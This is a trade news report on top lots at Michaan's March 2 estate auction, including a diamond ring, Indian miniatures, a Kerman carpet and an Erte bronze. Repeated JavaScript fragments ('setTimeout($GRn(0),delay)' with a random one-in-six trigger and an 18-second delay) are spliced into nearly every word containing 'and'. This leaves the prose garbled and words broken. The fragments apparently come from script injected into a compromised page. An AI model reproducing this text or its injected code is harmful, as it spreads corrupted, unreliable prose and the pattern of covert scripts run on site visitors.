ALAMEDA, CALIF. — Bidders said a collective “I do” to the diamond andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and platinum ring offered at Michaan’s March 2 estate auction’s, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and it became the highest selling lot of the day, realizing a respectable $14,160. The ring featured the largest diamond solitaire in the sale, with the center old European cut stone weighing in at approximately 3.20 carats. Six old mine cut diamonds adorned the bandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and of the classically styled ring as well, which was eventually secured by a local absentee bidder.

Jewelry department director Rhonda Harness reflected on her department’s success in the auction, noting, “It was no surprise that sought-after materials in the marketplace were our top performers. Large, quality diamonds, fine coral beads andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and jade collections saw many lots more than double, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and even triple, their given projections.”

Sales from the furniture andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and decorative art department’s portion of the auction saw fruitful numbers as well. A collection of six framed Indian miniatures handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andsomely surpassed estimates, selling for more than nine times high projections for $7,670. The highly collectible works performed well due in large part to refined paint work as well as an elevated level of detail.

Bidders also pushed a salesman’s sample lot of road building implements to more than five times the high estimate, selling for $6,490. The detailed, small-scale pieces surprisingly remained in functional condition, striking a chord with many niche collectors. Rounding out the department’s successes in their order of appearance was a Lavar Kerman carpet, a fruit motif Royal Worcester urn andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and an Italian micromosaic panel of a Roman ruin scene.

Honorable mention went to three lots from the auction’s fine art selection, which more than doubled given estimates. A sculpture of a bronze dancer with an orb by Russian Federation artist Romain de Tirtoff Erte was a top performer at $3,540. A pair of Jamaican landom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andscapes andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Roger San Miguel’s “Girl with Guitar” rounded out the department’s offerings of oil paintings, with both lots more than doubling their shared projections, each selling for $1,062.

Prices reported include the buyer’s premium. For information, www.michaans.com or 510-740-0220.